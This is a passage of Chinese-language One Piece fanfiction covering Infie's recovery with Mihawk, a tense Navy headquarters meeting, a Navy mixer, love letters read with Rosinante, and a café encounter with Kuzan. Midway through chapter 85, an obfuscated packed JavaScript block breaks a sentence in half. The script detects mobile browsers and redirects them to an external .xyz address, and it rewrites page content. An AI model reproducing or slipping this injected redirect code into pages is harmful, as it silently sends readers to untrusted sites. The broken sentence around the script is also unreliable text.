跟着波尼斯给出的地点找过去,发现不守时的奇迹游医不打伞在雨里靠墙坐着,身上脏兮兮的样子大概就是波尼斯所说“到处跑来跑去”弄得。街上行人不多,这次的雨算得上是大雨,到处都是接水的水瓮。 他脸上带着讨厌的笑。 克洛克达尔打着伞走过去,一旁同样打着伞的波尼斯见到他后礼貌点头站到一边。茵弗玛利没看他,胳膊支在曲起的腿上。 “今天的雨是暖呼呼的沙漠雨,我喜欢。” “我不喜欢。” 今天的雨,明天的雨;这里的雨,别处的雨。大概唯一没有让他意识到不适的雨就是海贼王处刑的那天,罗格镇的暴雨,甚至让他有点怀念。 “您是''沙''嘛,没关系,我可以给您形容。” 雨水噼里啪啦地打在他的伞上,混着茵弗玛利的声音。淡金色的头发被打湿黏在脸上,已经被拆散了,带着铁环的黑色皮圈套在卷起袖子后深色的小臂上,与大大小小的伤疤一起。 被迫淋雨和自己主动走入雨中的感觉是不一样的,他说,也许是因为那是自己选择的自由。温热的水打在头脸上,颈窝处,可以感受到一点算不上是刺痛的重量。衣服被淋湿贴在身上,它的重量压住你,免得灵魂因为过于自由的欣喜而如雨天的青蛙一般跳离。 天上的是水,地上的也是水,你也是水,不寒冷的雨是世界在吻你。爱就是有人愿意与你走到雨中,手拉着手奔跑,在水洼里跳跃,光着脚踩到石子,也要一起跳舞,一起大笑。 雨水贴着肌肤的纹理滚动,那并不痒。睫毛也变得沉甸甸,偶尔要揉去遮挡视线的水珠。 小雨里,我们是琴;大雨里,我们是鱼;万水汇于一,我们是海。 我的重量,水的重量,全都化在空气里。 “昨天我看到那个孩子在雨里转圈。很奇怪,很好笑。哈哈哈。我想去雨里散步,要带伞吗?不要,我要找个没人的地方跳舞。” 克洛克达尔沉默地听着,直到茵弗玛利的话开始变得奇怪,像是在重复谁,又像是在描述不存在的人群,与他们对话。直到他一言不发,仍然没有看向他,只是盯着街道上的虚空。 天色晚了,再怎么“温暖”的雨,沙漠的夜也是冷的。之前还嚷嚷着要借他大衣穿不然可能会冷死的人就这么坐着,生理性发抖。 “我讨厌雨。”他啧了一声,夹着雨伞,没能点燃潮湿的雪茄。 茵弗玛利没回答,克洛克达尔把大衣丢到他身上,也一动不动。所以他指指他,对着波尼斯下令道:“把他带回去。” 沙率先返回,离开这讨厌的雨。 - 第二十一天。 第二十二天。 第二十三天。 他给那个变得没有反应的人带了一支沙漠玫瑰。 - 他没再去看过他,只是请了个医生,告诉波尼斯他恢复了再汇报。奇迹游医在他这儿出问题传出去可不是什么对他计划有利的消息。不过伊甸来这边负责产业项目的人已经到了,没联系到人后亲自来雨地找他。年轻的女性在得知情况后表示理解,“并不是您的问题,谢谢您对茵弗哥的照顾。”然后给伊甸去了电话虫。 倒是没有想到来的人是鹰眼米霍克。 一个七武海到他的地盘他可得盯着点,所以他又跟着去了那间被他转移到内区的卧室。茵弗玛利身上多了几个吊瓶。 “我跟你说过自己一个人的时候不要冥想。” 鹰眼叹了口气。 克洛克达尔靠在门边,看世界第一大剑豪拉过奇迹游医的一只手,低声说话。一次尝试没有成功,鹰眼询问具体当时怎么回事,权当休息。 “他就淋了个雨,念叨什么雨啊水啊,他啊海啊的,然后就不说话了。” 米霍克歪歪脑袋,在下一次尝试时更加以这个方向去引导。时间太久了,他的幻觉或者别的什么大概已经定型。 又尝试了两次,茵弗玛利终于回握了一下米霍克的手,有些疑惑地问他怎么在这里的时候,克洛克达尔才离开。 这是他的弱点?容易被困在自己的脑袋里? 茵弗玛利靠睡觉回脑子的时候,鹰眼成了他的客人,金发医生说得没错,他们能吃到一起去。桌子对面的金眸男人只是晃晃红酒杯,对他的问题耸肩。 自己跟鹰眼应该更像同类,对人没什么信任的独,他不太明白他们两个怎么能呆到一起去。 不过那些都和他,和他的理想乡没有关系。 茵弗玛利正式恢复之后,准备跟着鹰眼离开,游历,旅游,随便什么,他在雨地呆得够久了,反正要监督一下伊甸的工作后就离开阿拉巴斯坦。 奇迹游医为了感谢他的照顾,临走前送了他一张黑白的照片,看起来是海浪。 他们没再玩过没有输赢的金币游戏。 85.再访海军总部 “你小子怎么还没跟七武海谈完啊!人家都跑到阿拉巴斯坦找你去了?” 卡普的大嗓门穿透街道,茵弗呲牙咧嘴地放下手中的香水瓶子,指了几个让店家包起来后在对方古怪的眼光里走到小巷角落打电话虫。 谁啊天天这么八卦!!见到他和米霍克出现在油菜花就报给新闻了是吧?? “我下一站就去马林福德!别催了!” “哦!那这次人家就是去和你分手的是吧?哈哈哈哈哈你被甩了啊!” 咔嚓。 米霍克来他也挺意外的,其实他的脑袋里上一秒他还在淋雨,然后飘忽忽了也就十分钟?二十分钟?回过神面前就是许久不见的大剑豪。 珊米说因为这边的医生检查不出来什么问题,本来想把他先送回去的,还是库洛卡斯想起自己跟他说过冥想的事情才问了米霍克。 毕竟冥想也算一种治疗手段来着,医生交流谁知道还真的派上用场了。 捏了捏鼻梁,茵弗叹了口气。真的是...这次本来就是麻烦他,好不容易平息下去许久的八卦又冒出来总感觉真是太抱歉了。 听平稳的脚步声就是黑鹰先生,茵弗仍然闭着眼睛,伸手接过装着香水的袋子。 “谢谢...抱歉...估计我去一趟马林福德这种事就不会再发生了?” 他突然睁开眼,站直身子,一手握拳敲在手心上,手里的袋子哗啦一响。 “不!我就应该主动发个报纸,就说我其实已经结婚多年孕有一儿一女...啊我是男的不是孕有,育有!” 米霍克脸上居然带着笑意?虽然是很难得啦但是他在嘲笑他的想法吗?茵弗还觉得挺聪明的呢! “报纸会猜是谁。” “怎么这么八卦啊这群人!这是我天天打听八卦的报应吗?一定是的...没关系!我捏造一个人出来,让火烈鸟先生给我弄几个□□...” 他絮叨着,带着米霍克返回港口,他也该走了,这边没什么问题,宾兹也见过了。 “...然后我那可怜的未知爱人早逝我就此肝肠寸断再也不想再找怎么样?要不然我真的觉得摩尔冈斯先生会搞什么奇迹游医隐秘恋人的独家专访...” 路上又买了些好吃的果子,看到漂亮的手工艺品也买几个。 “...孩子怎么办,我可爱的一儿一女总不能也死了?那我也太惨了吧,诶话说我一开始没必要说什么一儿一女的吧就说爱人就好了...” 哇塞漂亮的斗篷,之前经过的时候怎么没看到,这家不是卖毯子的吗?啊这块方毯手感不错,花纹配色还蛮典雅有韵味的,骆驼毛?买几卷,估计罗西南迪他们也喜欢。 “这块好看吗?酒红色和您大厅里的矮椅很搭...说到孩子寇布拉陛下家的女孩真的是聪明漂亮又善良,就是那种感觉跟我呆久一点就会被我带的跑偏的纯洁感...” 咦?舞女服好漂亮!买一套给罗宾?蓝紫色不错呢,小娜美会喜欢吗?可惜不知道她的尺码,那孩子也长身体呢。买一套大概差不多的? “总之我觉得这主意还行...省得我和朋友出个门海军政府就要猜我是不是要把势力全都当成求婚礼物送给谁谁谁,啊如果送给他们的话他们应该也乐意?大力支持我去相亲什么的...” 咦咦咦?怎么不知不觉米霍克手里拎了那么多东西!抱歉!茵弗手忙脚乱地招呼朱尼尔从波比上下来帮忙拿东西,自己也大包小包地噌噌噌回到大蜗牛上,怜爱地亲亲它漂亮的壳。涂装没有再订,一直涂对波比身体也不好,所以现在是自然的颜色。 亲切地和等了他许久的朱尼尔贴贴感谢,告诉他回去就放个长假,收获懂事青年感谢一枚。确认米霍克的棺材船已经收好,他拉着听自己不知道嘀咕多久的人去藏书室,殷勤地在给他买的高背椅子边放上脚垫,矮桌。 “您歇着!我去给您拿红酒。” 米霍克对着关上的门轻笑一声,将头上的帽子摘下挂到椅子上,风衣搭在一边后走到书柜前。 窜出去的人又风风火火地回来,手里拿着瓶酒和酒杯放在矮桌上,又放下一盘薄薄火腿裹着奶酪丁的零食后跑到壁炉边点火——打了个喷嚏,大概是被灰尘扫了一下。 米霍克拿着书回来,果然在他深色的鼻尖上看到一点灰,被蹭在黑色的衣袍上,头发乱糟糟的。 “你不用发自己的假新闻,我不介意。” 茵弗挠挠脸:“确实过一阵就过去了...可能是今天卡普先生那一嗓子之后街上好多人看您?那种眼神我总觉得...嗯我不喜欢他们那么看您。” “我没注意。” “嗯...” 他拉过米霍克的手,低头看着,从克拉伊伽那跑来,就为了把自己拉回来的手。其实他可以等自己被送回去的,虽然时间会很久,不过对他来说距离近很多,或者他可以教史黛拉或者朱尼尔怎么做... “总之您觉得不是个好主意的话就不发吧,确实感觉挺麻烦的,我懒死了...这次真的谢谢您。我也没想到我那么容易就''冥想'',不过确实,就是那种细细感受一切与自我...” 虽然他从小就很喜欢亲密的肢体接触来表达自己,但是跟米霍克除了哭的那次,现在最多也就是蹭一下,不想让对方感到不适。所以茵弗抿抿嘴,没有亲吻它,小声询问“我们可以拥抱一下吗?” 还是话很多的小猫。 米霍克抬起那只被对方拉着的手,不算吻地用唇贴了一下,然后将他拉入怀抱。 怀里的人僵住一瞬,大概被吓了一跳?然后自己的头发被对方用额角贴了贴。 “谢谢您...我其实...” “有点害怕?” “呜哇不愧是''鹰眼''啊,黑鹰先生。” “我会拉你回来。” “...万分感谢。” 茵弗吸吸鼻子,然后笑嘻嘻地松开对方。 “话说这是不是代表我们认识这么久我终于可以放任自己进一步贴贴了?” 米霍克在回到自己的椅子上读书前又笑了一声:“我不介意。” 虽然是给鹰眼拿的零食,不过一大半都进了自己的肚子。他看书也喜欢喝点饮料,所以用火腿奶酪配可乐。他就垫个垫子坐在米霍克椅子旁边,方便他吃零食,图书室有厚厚的地毯也不凉。 “索隆先生怎么样了?” 什么叫奇迹游医不在不能把他从死亡手里拉回来,说得这么吓人? 米霍克不看他都知道他在炸毛,缓缓补充道,所以我给他留了口气,他自己顽强也活下来了。 茵弗长长出了一口气,活着就好活着就好——又往嘴里塞了块奶酪压惊——所以是打赢狒狒,差点被砍死,然后现在被收为徒了呗,挺好挺好。 “菜园子怎么样?” “老样子,看到蚯蚓。” “呜哇~幸福。” 毛毛虫超级讨厌,主要是因为茵弗不喜欢它们行动的方式,扭扭着前进看起来让人起鸡皮疙瘩。蚕勉强能忍,但是蚯蚓就绝赞,是他心目中的虫top之一。 “你还讨厌什么虫。” “蟑螂,我总觉得它们其实是不属于这个世界的生物,有一种诡异的智慧,会盯着人看。” 超级渗人的。没准它们是想占领这个世界的秘密军团什么的,其实世界上所有的蟑螂都相互认识,密谋着毁灭世界然后自己生生不息。 “你喜欢什么虫。” “哇塞那可就多啦,我能念叨好久。” “你说。” 茵弗哼哼两声,放下手里的签子后掰起手指。 蜜蜂不要提,那简直就是top里的top,蚂蚁也不相上下不分伯仲,其实奥比塔拉有专门养可以入药的昆虫,就包括蚂蚁,他最喜欢盯着看。蜘蛛也是toptop,也有养很多收集毒素的蜘蛛,但是他也其实很爱经常出现在屋子角落的那种幽灵蜘蛛,吃掉好多虫子呀。 “鼠妇也喜欢~有好多漂亮的种类,有的品种会害羞一点也很可爱,大甲虫比如独角仙也有养过,它们大部分时间都在土里,路飞很喜欢所以我让他写观察日志仔细想想真是失策...” 大半本都是【x月x日:土】的话真是太好笑了。虽然路飞也没耐心好好写,他更喜欢去林子里抓已经爬出来的。 “还有吗?” 茵弗点头,打了个哈欠继续嘀咕。 ...蜈蚣类很多可以入药,很帅但是很危险,奥比塔拉也有养。螳螂也帅,瓢虫那是可爱可爱,大家都喜欢的漂亮蝴蝶和蛾子他当然也是喜欢的... 米霍克嗯了一声,翻过一页书。 等朱尼尔敲门进来想要询问航线时,就看到自家大人靠在鹰眼腿上睡觉,腿上瘫着一本书,大概很放松吧,身上还搭着带着花纹的黑风衣。 犀利的金眸看向他,低声询问何事。 “哦、我想问一下茵弗大哥我们是先把您送回去还是先去海军总部...” 米霍克伸手摸上呼噜呼噜着的金色猫脑袋歪头想了想:“去海军总部吧,我可以自己回去,他醒了我会跟他说。” - 还好没流口水,这是茵弗醒来后唯一的想法,所以米霍克告知他安排的时候他反应了一会儿才揉眼睛点头。 鹰眼不喜欢海军,自然不怎么往海军总部凑,到了离克拉伊伽那近一些的海域就先行离开。 茵弗挎着药箱,虽然里面没装什么药,跟着来接他的罗西南迪一起去见元帅。真是好久没看这个大高个脸上没有彩妆,穿着制服的样子了。 “所以他把您叫回来干嘛?” “嗯...确实跟你有关就是了。” 见到大部分还是陌生人,主要是因为有印象的本来就不多。都很热情,得知他来了很多新兵将领都来打招呼,女性将领和男性将领都分别有不同的礼物。护肤品、茶、酒、保养品这类的。 鹤中将仍然是他最喜欢的人之一,聪明但是侵略感不强的气质女性,自然会让他亲近。她以妹妹相称的祗园,发型有点像以藏的风格,个子很高。 “这次也带了棋吗,小医生。” “我箱子里有什么在打开前都是未知哦,鹤女士。” 上一次坐在战国办公室里,和这些人谈判喝茶都多少年了?不过这次多了个泽法,看起来精神不错他就放心了。威布尔被白胡子干掉,虽然他不能亲手抓,以告慰逝去的学生,也算宽慰。 茵弗又坐在那个棱角方方的桌边,像曾经一样翻出一把零食放在桌上。 赤犬脸色超级臭,他不喜欢他这个跟海贼混在一起的家伙也不是一天两天了,“绝对的正义”就是那种对于有成为“恶”的可能性的一切事物都想要抹去。 “海军受着伊甸恩惠所以容忍我吧,大将先生。”茵弗放下茶杯,也不太在意,“不过,别逼我走向''恶''啊。” 不论在这个蔷薇男眼里的恶是什么。 一时间众人都没有回话,不知道是因为震惊他说出来这样的话,还是什么。卡普咔咔地嚼着饼干,说你一个小医生能恶到哪去,茵弗耸肩,说比如卖给您们的东西换成原价,或者价格抬高?或者跟去奥比塔拉进修的军医们委屈说您们欺负我好了,海军英雄哇哈哈地笑说那也太可怕了吧。 不算是威胁的威胁,不过茵弗知道战国他们会转一百个脑筋。卡普又开始唠叨他不存在的情感问题,什么你也老大不小了老夫还等着把小后辈培养成强大的海兵。 “我手下的姑娘们都是好孩子呢,要不正好组织一次联谊吧战国,除了小医生,给那些偷看丫头们训练的小伙子们一个认识的机会也好。” 茵弗笑笑,看战国摸着他的胡子思考,也不知道都在想点啥。这种话题已经让他家小米果爆红了,库赞就很冷静,被提到也戴着他那眼罩,自从茵弗进来就没动过。 久别重逢后半轻松半试探的闲聊结束,茵弗也拿过一袋零食询问,语气正经了不少: “罗西南迪先生跟我说您把他叫回来跟我有关系?” 说拜托也对,说拉拢也对,不过有点无奈的神色就很耐人寻味。因为伊甸对新世界影响力的逐渐扩大,战国想让罗西南迪去G5,之前他和在情报上,和资助上都帮助很多。如果伊甸可以进一步配合的话... 茵弗打断了他。 “是想让我在新世界做罗西南迪先生的靠山?” 做海军的靠山?给海军去打击海贼开口子什么的? 他自己拆着零食吃,会议室里只有他和卡普一个人吃仙贝饼干一个人吃椰脆的咔嚓咔嚓声。半晌后回复道: “四皇允许伊甸在他们分割盘踞的新世界发展,是因为海军能吃到的好处,也同样对他们开放。” 如果他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094014|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对海军大肆冲击新世界表现出明显的支持,那么不只是后半段的发展,前半段也会出现很大问题。这可是躁动不安的大航海时代。如果反扑的海贼们连着现在伊甸在新世界的根基一起毁了,他们赔得了吗? “这也是一种''信誉'',先生。既然罗西南迪先生在黑曼巴已经比他在这里能做到得多,没必要就这么贸然断掉。” 他同意罗西南迪编入G5,不以''卧底''而是正式合作者的身份继续在他的身边,和黑曼巴呆着,也就最多了。不过战国也不知道罗西南迪其实本来...身份也差不多吧。干得还是那些事,毕竟是''堂吉诃德·罗西南迪的正义''。 海军得自己努力,想把他堆上棋盘可不行。 思考了一下,他放下手中的零食,手指相交放在翘着的膝盖上拢着,和鹤的姿势差不多,毕竟他就是从她身上学来的。 “不过能让海贼在新世界插旗子的地方,归根结底,您们把旗子拔了就有用吗?” 没人交天上金的非加盟国,无法被划分到国里的城镇,被占领,被掠夺,海贼称王。他们也知道后半段海贼的混杂混乱,可是他们的力量足够吗?即使足够,他们可以使用吗? “简单的例子,''非加盟国不归纳为政府保护范围内'',自然也就不在海军的保护范围内。” 他指指战国,这个君临天下的正义,跟随政府的正义之人。 “您们去灭了某个大海贼,新世界的某几座岛屿得以脱离祂的作威作福。然后呢?还是没有天上金的岛屿,还是保护范围外。下一波海贼还是敢大肆入侵。” 被接连不断的战火殃及之人谁来救?如果没有处理干净,愤怒的报复谁来承接? “您们真的看懂那盘棋了吗?” 赤犬吃掉黄旗,他为什么将它拆成两半,三瓣,即使碾压成粉末他也把它留在那里? 只要有人出海,成为“海贼”,祂们是清不干净的。为什么出海?有的为了财宝,为了掠夺;有的为了冒险、为了看看这片海的一切;也有像活不下去就做了山贼一样的达旦一家一样,就是没什么活路的才出海,白胡子那一家子''老爹收留了我们这些被世界抛弃的人''。 为什么出海?因为罗杰临死前那番话,因为大秘宝,因为罗杰一定要人去拉夫德鲁,让世界看到''历史与真相''——那些世界政府即使灭掉奥哈拉也要掩埋的东西。 海军呢?为什么成为海军? 为了保护;为了打击恶;也有的就是活不下去了,到军队里混一口饱饭。有的人家乡被海贼入侵,至亲被害,成为海军好能为自己和他人出气,避免惨剧。 茵弗眯着眼睛,直视对面除了身旁的卡普和库赞以外的所有海军。一个问题接连一个问题地问下去。 “如果有一波海贼,侵占了非加盟国,政府会派您们去管吗?有时候救了人的海军因为''违背军令''而被惩处,或者强制退役,很多人成为我的好员工了呢。” “那么如果政府派您们去了,但是要求杀海贼只是顺便,把平民抓回来给天龙人做奴隶才是主要任务呢?''窝藏海贼''这个借口耳熟吗?比如泰拉琪狼,您们没少往那送这样的''罪人''吧?” “如果有海军发现屠了自己家乡,伤害了不知道多少人的海贼成为您们的七武海,好用来''制衡四皇'',不仅不可以抓捕,以后他们还可以''合法掠夺'',他们会有什么想法?” 没法回答?没关系,他本来就知道答案了。 库赞身上好冷,没事不要元素化,他拍了一下他的大腿,打破沉默。 “新世界很多皇帝的属岛我都去过,正是因为那些大海贼插了旗子,形成某种庇护,当地人人可能生活得比很多加盟国的民众生活幸福感还高,纳税上供没有天上金那么多是很大原因吧。而且鱼人岛您们不记得?” 对海军来说,这件事让他们什么感觉? 不舒服? 不舒服就对了。自己说一些医院生意好的话赚钱的黑暗笑话来鼓励他的白鸽们,他们难道觉得是件让他很舒服的事情吗? 他是一个医生,说实话那么多其他事情跟他有什么关系?伊甸鲸上有多少医生因为救人而拼搏,明明可以在陆地上安安稳稳的,但是还是选择递交生死令,跟着他投入这片荒谬的海? 有多少人因为死在手术台上的生命而悲恸,因为''没有来得及''而在安慰他人后相拥痛哭?少一些因为饥寒交迫而生病,少一些因为侵犯而受伤的患者,对医生们来说还少一些疲累。 “伊甸鲸一点也不赚钱,先生们,您们没法想象只是一只鲸鱼就需要我不断地在它身上投入多少的精力和资金。” 就像军舰的运转要不断投钱进去,那么多的产业利润,就是为了能让他好好开个医院而已。他的确带了棋,但只带了一种。茵弗啪地一声把白色的国王棋放在桌子上。 “这么多年了,您明白国王棋的意思了吗,智将先生?” 他又取过椰片吃,脑袋突突地疼。 “您们当时选择了【茵弗玛利】,那么无论是现在,还是未来,海军都不会被我背弃。联谊也好,交朋友也好,我会去的。” 米霍克不喜欢海军,但是不会管他和海军关系好,海军也一样,不管是什么势力,别阻碍他和别人做朋友。该做的事情他会做,他们还想要什么? 茵弗压下烦躁笑了笑,拉过罗西南迪修长的大手吻了一下,“我和您家小米果关系好着呢,别担心那么多,新世界的事情他心里有数。” 小米果继续发红发烫,捏了一下他的手小声说别这样,茵弗。平时的亲昵其实更多,但是在长辈们面前就很不好意思。 多弗朗明哥的孔雀开屏看来这么多年他也没学会嘛,不过没关系,他也不用学就很好。茵弗从善如流地放开他的手,再次直起身子坐好。 想起了什么,他在他的药箱里翻找。泽法叹气,拍了拍自己的元帅老朋友,鹤开口道:“你是个好孩子,谢谢你一直以来对海军的照顾。” 茵弗点点头,被鹤夸好孩子真的是...舒坦。他看了看箱子里还剩下的几份资料,不太确定交出去比较好还是不交出去。毕竟路奇他们都给他了...泽法...算了,找个单独的时间给卡普他们看看好了。 直到会议结束,库赞都没理他。虽然本来想跨过去的时候踩这个有话不能好好说的大冰块脚趾,他还是迈了过去。 86.引火柴 海军们拿出来的联谊方案真的都太...好笑又有趣,个性分明。听罗西南迪给他一边念叨,他一边吃着芭菲,突然笑了一声。 “一起开军舰出去抓海贼是什么东西啊,不会是萨卡斯基先生提议的吧?” ''有那时间,不如去抓海贼''这类的? 罗西南迪挠挠脸,问他有喜欢的方案吗。茵弗摇摇头:“我也是第一次参加呢。怎么样都好吧,不就是大家聚在一起交个朋友?” 确实是这样,所以最后还是把训练场占用,简单布置一下后让大家随便交流这么简单干脆的方式。不过能在海军总部里露天烧烤还挺有意思的。 很多海兵都想跟他聊天,毕竟难得亲眼一见,认识不少可爱的孩子。也认识几位将领,中将也来了几位,大部分时间茵弗就坐在桌边喝饮料,吃东西,看别人交流。尤其是鹤手下的女孩子们,在海军这种大部分都是男人的军队里真的超级受欢迎。 不知道鹤他们眼里成功的联谊是什么样的,不过茵弗觉得还挺成功,他看到好几对害羞的少年少女牵手了,也有人被打,反正是训练场,直接切磋。他还收了一些花和礼物,情书是什么样子的其实也很好奇。罗西南迪还挺受欢迎的,超级不好意思地捧着花和他一同离开。 他还是住在卡普家,和战国家是隔壁。回去的时候把给老头子带的烧烤放在桌上,跟他说是的,海军有很多好孩子,明天和可蒽朵丽上校约了一起喝咖啡。 卡普只是拍拍他的肩膀,没有回话。 茵弗回到房间后收拾了一下,把收到的花和礼物都放好,换了衣服就拿着手里的几封信翻窗户跑出去,到隔壁敲敲罗西南迪的窗户。 “为什么不走正门啊茵弗,现在也没有很晚。” 罗西南迪笑笑,打开窗户拉他进来,虽然反而是自己摔了一跤反被拉住。 “不觉得这样很刺激吗?翻窗户和朋友一起讲八卦什么的?” 茵弗把鞋子放到窗边,滴溜溜地跑到罗西南迪的大床上,刚换的用具看起来软乎乎又暖和,他团一团之后迫不及待地靠上去,拍拍身旁的位置。 “您也收到情书了吧,快来一起看看嘛。” 给他情书的大多是年轻人,茵弗很珍惜他们可爱的喜欢,但也不会真的就和小他那么多的人交往。不过这次活动没有变成什么政治工具,就是纯粹的见见面,他喜欢这一点。 “''奇迹游医先生,您的金发就像是金子一样,看到就会像吃了奶黄包咬到馅料一样让人开心...''”茵弗咯咯笑着,果然很可爱,“您的皮肤也像巧克力一样,一定很甜,饭堂里我最喜欢的饭就是您的食谱,让我充满力量与温暖...” 是个喜欢吃的孩子啊。 “''...我曾经受伤被伊甸鲸照顾,家乡寄来的特产上也看到属于您的标志,您让我喜欢到看到就会流口水....''” 茵弗笑着倒在罗西南迪身上:“这孩子想吃了我诶。大概不会好吃?比起奶黄包巧克力,人肉肯定不好吃的啦。” 罗西南迪低头,嗅到熟悉的药香,奶黄包馅料的头发上有一点洗发水的味道。 “你大概是药的味道?” 靠在身上的人伸出巧克力的手,嗅嗅手腕处后舔了一口,又咬一咬,“没有吧?”他用袖子擦擦沾了点口水的手腕,继续读下去。 “''如果我能在您的身边,哪怕只是偶尔相见,我想我都会每天感到饱足...”精神食粮也是食粮的意思?“''如果我能亲吻您,我会像品尝糖果一样品尝您甜蜜的唇和...''” 等等等等等等、好、好热情!这就是情书吗! “哇哦...” “怎、怎么了。” 茵弗抬头,看到罗西南迪红彤彤的,一只手捂在脸上,指尖都变得红红的。 “您害羞什么?明明是写给我的?” 迅速扫过接下来的内容,也没有很露骨,就是什么亲吻拥抱,如果可以一起约会的话会分享冰激凌上的樱桃和草莓... “明明都不了解我,却这么喜欢我?”茵弗笑着把手里粉红的信纸小心收好,虽然不能回应,但算是收下了这份心意,既然有落款,也许可以回一封信。“不过我喜欢情书这种东西诶。” 罗西南迪用自己手里的信纸扇去脸上留存的热意,有点好奇地问为什么。 “因为它被写下来了。” 文字和语言的重量,被承载到纸上,就从飘渺虚无变为切实存在。写信给别人,对方可以触摸到你的指尖同样轻抚过的纸,不存在的温度传递爱意,思念,关怀或者什么别的东西,不是很浪漫吗? 罗西南迪也是很喜欢文字的人,听到他的话认同地点头:“不、不过就是这样才好不好意思啊...” 茵弗笑嘻嘻地说那您加油啊,指指他手里的信封,说轮到您了。高个子男人清清嗓子,也读了下去。 “''罗西南迪中校,多年未见,您还是和从前一样高大帅气...” “哇...好、好浪漫。''想做您摔倒后支撑站起的地面,想做您点燃自己后扑灭的水...''” 茵弗啧啧赞叹,每个人写得东西风格不一样,感觉也能看到背后人的性格和灵魂呢。 罗西南迪仍然耳朵红红,有点不好意思地挠脸道:“虽然很荣幸,但是一大半都在细数我的笨拙就...嗯突然感觉自己也要好好反省一下。” 靠在他身上的人笑着拍他的腿,说就是喜欢您身上的“缺点”与笨拙才说明真的很喜欢不是吗?他又拆开一封自己的信,挑了几句读给他。 “救死扶伤的心让我敬佩...” “共同守护民众的并肩...” “聪慧的头脑将食物变成药...” 茵弗温柔地笑着,读着写给奇迹游医的情书。“如果这位...我记得是女性,这位小姐知道我其实就是懒,大部分的工作都是您们在做,心黑得要命大概就不会写了。” 他又拿起一封拆开,继续读道有关他漂亮的痣,温和的微笑,有关他的白衣,他平易近人的态度,他的博学。 “也许这也是为什么我没您那么害羞?” 罗西南迪将自己的信放到一边,揽过他让他更舒服地靠在自己怀里,把头靠在他颈窝里后深深地呼吸,鼻腔里充盈着苦涩的药草气息。 “...他们了解你之后只会更喜欢你的。” 茵弗:“也许吧。但是我自己也知道我其实是个多么麻烦的人,所以我才那么爱您们。” 罗西南迪这次没有脸红,没有不好意思,他突然有点鼻酸。在元帅办公室里,和现在他怀里的,是两个人呢。 “你明天不是要去和可蒽朵丽上校约会?” “去看看她妹妹的身体,她说小丫头肠胃一直不好,作为诊费她请我在家里开的咖啡店吃下午茶。” “哦,上校的妈妈很会煮咖啡,店铺不大,但是我记得很温馨,你会喜欢的。” 茵弗嗯了一声,戳戳他之后示意一下他身旁还没拆封的几封情书,让他继续读。罗西南迪还是害羞,茵弗又会逗他,两个人像青春期少年一样对着这些粉红嘻嘻哈哈。 最后茵弗借了纸笔,按照落款去一封封回信,拜托罗西南迪转交。 小米果先生坐在他桌旁,同样写着回信点头同意,抽出一张纸时划破了手。 - 可蒽朵丽的妈妈的确很会煮咖啡,很远就能闻到香气。一位热情好客的女士,带着同样活泼烂漫的小女儿打理家里的小店。墙上挂着不少照片,还有可蒽朵丽的几枚奖章,虽然漂亮的上校小姐很不好意思妈妈对她任何小成就的炫耀,但是茵弗觉得很好。 可蒽朵丽的妹妹也有二十岁了,被姐姐叫小丫头就呲牙咧嘴,做得一手好甜品。面对他的时候有点不好意思,胖胖的妈妈笑着说因为很崇拜他,青春期的时候剪他的报纸贴在墙上。 “妈妈——!” 茵弗微笑着,感谢她的喜欢后伸出手心,礼貌地让对方搭上来。很快就收回手,从一旁的药箱里取出便签本写下处方。 “吃半年到一年的药吧,脾胃很虚弱呢。” 可蒽朵丽感谢他后捏捏妹妹的脸颊,说这回奇迹游医亲自给你开药就能好好吃了吧,隔一阵子就要肚子不舒服还不好好吃药,又爱吃冰。 真好呢,茵弗在药方背面列下最好少吃的食物,然后画了个哭脸和鼓励的大拇指递给和姐姐哼唧的少女。 店主人家自然十分感激,又拿来新烤好的蛋挞招待他。 店里也有其他客人,也有进来买咖啡后带走,路过时会好奇地看向他们二人,偶尔也有和可蒽朵丽比较熟的人会打个招呼,打趣她是在约会吗这类的。 确实很温馨,暖呼呼的。直到到一块寒冰走进来买咖啡,看到他们后脚步一顿,目不斜视地走到柜台边。 “老样子吗,青雉大将?” “啊...嗯,麻烦了。” 可蒽朵丽见茵弗盯着库赞,也许以为他想认识一下,便呼唤她的上司,说这位是奇迹游医,要不要坐在一起,店里也没单人的位置坐了。 “啊...是可蒽朵丽啊。奇迹游医...你好。”库赞挠挠头,犹豫了一会儿还是在自己的咖啡好了之后端过来在旁边一侧坐下,搅开杯子里的奶泡。“...今天休假吗?” 他们两个聊起来了,茵弗不知道该说什么。好像那天在圣地他装作不认识他之后,他就真的不认识他了一样——他又往自己苦苦的咖啡里放了两块糖——自己都没能亲自谢谢他没把事情捅出去,擦肩而过也不见他,卡普只说让他自己问。那么到底是为什么啊? “...什么?” 茵弗抬头直视他,对着他笑:“没什么,就是当年的事情真是谢谢您了。” 可蒽朵丽:“您和青雉大将之前就认识了吗?” 茵弗喝掉自己的咖啡,“大概不认识吧。”他礼貌地对着招待自己的上校小姐告辞,说自己晚点还有事情,“谢谢您的款待。” 库赞随着咖啡厅大门的关闭收回视线,松开紧攥的拳头,揉了揉眼睛。 “大将...?” “啊,你们刚刚在约会吗。” 可蒽朵丽可太知道自家上司转移话题的样子了,无奈叹气:“是我约人家的啦...所以您们之前是认识的吧?” 库赞也喝完咖啡,有点苦恼地挠头:“...我惹他生气了啊。” 可蒽朵丽:“您做了什么?” 库赞:“啊啊,这是上司的隐私吧?” 可蒽朵丽:“是是,那您道歉了吗?他很宽容呢。” 库赞随便岔开话题,在亲近的下属不赞同的视线里拎起外套搭在肩上,出门早就看不到人了。也好,他回办公室闭眼睛打发时间,听着钟表滴答作响。 他道什么谢啊?明明站在他对立面,杀了他,还要阻拦他放出来的奴隶们是自己这个本该是''有正义的人''。 他翻出来那张生命卡,''Infie''的名字旁边有一个一侧有点高的火苗,像是画错了之后将错就错地改过,库赞吹出一口寒气,小小的纸片摇晃了一下——还是火。 因为是画上去的,落在纸上。 